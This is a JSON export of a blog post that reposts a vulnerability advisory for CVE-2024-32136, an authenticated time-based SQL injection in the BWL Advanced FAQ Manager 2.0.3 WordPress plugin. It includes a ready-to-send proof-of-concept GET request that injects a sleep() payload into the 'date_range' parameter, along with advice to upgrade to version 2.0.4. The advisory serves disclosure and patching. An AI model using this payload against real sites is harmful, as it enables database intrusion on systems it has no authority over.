{"id":57208,"date":"2024-05-31T21:50:32","date_gmt":"2024-05-31T17:50:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178874\/bwlafm203-sql.txt"},"modified":"2024-05-31T21:50:32","modified_gmt":"2024-05-31T17:50:32","slug":"bwl-advanced-faq-manager-2-0-3-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/bwl-advanced-faq-manager-2-0-3-sql-injection\/","title":{"rendered":"BWL Advanced FAQ Manager 2.0.3 SQL Injection"},"content":{"rendered":"<p>Exploit Title: BWL Advanced FAQ Manager 2.0.3 &#8211; Authenticated SQL Injection<br \/>Date: 14 Apr 2024<br \/>Exploit Author: Ivan Spiridonov (xbz0n)<br \/>Software Link: https:\/\/codecanyon.net\/item\/bwl-advanced-faq-manager\/5007135<br \/>Version: 2.0.3<br \/>Tested on: Ubuntu 20.04<br \/>CVE: CVE-2024-32136<\/p>\n<p>SQL Injection<\/p>\n<p>SQL injection is a type of security vulnerability that allows an attacker to interfere with an application&#8217;s database queries. It usually involves the insertion or &#8220;injection&#8221; of an SQL query via the input data from the client into the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n<p>Affected Components<\/p>\n<p>Plugin: BWL Advanced FAQ Manager<br \/>Version: 2.0.3<br \/>Affected Parameter: &#8216;date_range&#8217;<br \/>Affected Page: \/wp-admin\/edit.php<br \/>Description<\/p>\n<p>The vulnerability exists within the &#8216;date_range&#8217; parameter used in the &#8216;bwl-advanced-faq-analytics&#8217; page of the BWL Advanced FAQ Manager plugin. Authenticated attackers can execute arbitrary SQL commands within the database by manipulating the input to this parameter.<\/p>\n<p>Proof of Concept<\/p>\n<p>Manual Exploitation<\/p>\n<p>The following GET request demonstrates the vulnerability:<\/p>\n<p>GET \/wp-admin\/edit.php?page=bwl-advanced-faq-analytics&amp;post_type=bwl_advanced_faq&amp;filter_type=views&amp;date_range=(select*from(select(sleep(20)))a)&amp;faq_id=all HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko\/20100101 Firefox\/121.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Referer: http:\/\/localhost\/wp-admin\/edit.php?post_type=bwl_advanced_faq&amp;page=bwl-advanced-faq-analytics<br \/>Connection: close<br \/>Cookie: [Relevant Cookies]Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.<\/p>\n<p>Recommendations<\/p>\n<p>BWL Advanced FAQ Manager v2.0.3 users are advised to update the plugin to the fixed version v2.0.4.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Title: BWL Advanced FAQ Manager 2.0.3 &#8211; Authenticated SQL InjectionDate: 14 Apr 2024Exploit Author: Ivan Spiridonov (xbz0n)Software Link: https:\/\/codecanyon.net\/item\/bwl-advanced-faq-manager\/5007135Version: 2.0.3Tested on: Ubuntu 20.04CVE: CVE-2024-32136 SQL Injection SQL injection is a type of security vulnerability that allows an attacker to interfere with an application&#8217;s database queries. It usually involves the insertion or &#8220;injection&#8221; of an &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57208","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57208"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57208\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}